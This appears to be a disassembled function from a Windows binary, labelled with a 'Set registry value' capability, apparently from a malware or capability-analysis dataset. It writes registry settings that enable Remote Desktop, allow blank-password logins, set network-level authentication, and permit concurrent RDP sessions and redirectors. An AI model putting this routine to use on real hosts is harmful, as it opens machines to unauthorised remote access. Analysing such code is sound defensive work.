Function at 0x1000ca90
Capabilities:
Set registry value

Disassembly:
sub esp, 8
mov ecx, dword [0x100121b8]
push ebx
push ebp
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push esi
push edi
xor ebp, ebp
push ebp
neg ecx
sbb ecx, ecx
lea eax, [esp + 0x14]
push eax
push ebp
and ecx, 0x100
add ecx, 0x20006
push ecx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], ebp
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000cb2a
mov ecx, dword [esp + 0x10]
push 4
xor edx, edx
cmp dword [esp + 0x20], ebp
lea eax, [esp + 0x18]
push eax
push 4
sete dl
push ebp
push str.fDenyTSConnections
push ecx
mov dword [esp + 0x2c], edx
call esi
cmp dword [esp + 0x1c], ebp
je 0x1000cb23
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push ebp
push str.fSingleSessionPerUser
push eax
mov dword [esp + 0x2c], ebp
call esi
mov ecx, dword [esp + 0x10]
push ecx
call edi
cmp dword [esp + 0x1c], ebp
je 0x1000cdd8
mov eax, dword [0x100121b8]
push ebp
neg eax
sbb eax, eax
lea edx, [esp + 0x14]
push edx
push ebp
and eax, 0x100
add eax, 0x20006
push eax
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetControlLsa
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x1000cb83
mov edx, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push ebp
push str.LimitBlankPasswordUse
push edx
mov dword [esp + 0x2c], ebp
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
mov edx, dword [0x100121b8]
push ebp
neg edx
sbb edx, edx
lea ecx, [esp + 0x14]
push ecx
push ebp
and edx, 0x100
add edx, 0x20006
push edx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x1000cbd5
mov ecx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x18]
push eax
push 4
push ebp
push str.UserAuthentication
push ecx
mov dword [esp + 0x2c], ebp
call esi
mov edx, dword [esp + 0x10]
push edx
call edi
mov ecx, dword [0x100121b8]
push ebp
neg ecx
sbb ecx, ecx
lea eax, [esp + 0x14]
push eax
push ebp
and ecx, 0x100
add ecx, 0x20006
push ecx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x1000cc23
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x20]
push edx
push 4
push ebp
push str.EnableConcurrentSessions
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call edi
mov eax, dword [0x100121b8]
push ebp
neg eax
sbb eax, eax
lea edx, [esp + 0x14]
push edx
push ebp
and eax, 0x100
add eax, 0x20006
push eax
push ebp
push ebp
push ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x1000cc6e
mov edx, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x20]
push ecx
push 4
push ebp
push str.AllowMultipleTSSessions
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
mov edx, dword [0x100121b8]
neg edx
sbb edx, edx
lea ecx, [esp + 0x10]
push ecx
and edx, 0x100
add edx, 0x20019
push edx
push ebp
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddIns
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000cdd8
mov eax, dword [esp + 0x10]
push eax
call edi
mov edx, dword [0x100121b8]
push ebp
neg edx
sbb edx, edx
lea ecx, [esp + 0x14]
push ecx
push ebp
and edx, 0x100
add edx, 0x20006
push edx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddInsClip_Redirector
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x1000cd16
mov eax, dword [esp + 0x10]
push 0xe
push str.RDPClip
push 1
push ebp
push str.Name
push eax
call esi
mov edx, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push ebp
push str.Type
push edx
mov dword [esp + 0x2c], 3
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
mov edx, dword [0x100121b8]
push ebp
neg edx
sbb edx, edx
lea ecx, [esp + 0x14]
push ecx
push ebp
and edx, 0x100
add edx, 0x20006
push edx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddInsDND_Redirector
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x1000cd82
mov eax, dword [esp + 0x10]
push 0xc
push str.RDPDND
push 1
push ebp
push str.Name
push eax
call esi
mov edx, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push ebp
push str.Type
push edx
mov dword [esp + 0x2c], 3
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
mov edx, dword [0x100121b8]
push ebp
neg edx
sbb edx, edx
lea ecx, [esp + 0x14]
push ecx
push ebp
and edx, 0x100
add edx, 0x20006
push edx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddInsDynamic_VC
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x1000cdd8
mov ecx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x18]
push eax
push 4
push ebp
push str.Type
push ecx
mov dword [esp + 0x2c], 0xffffffff
call esi
mov edx, dword [esp + 0x10]
push edx
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret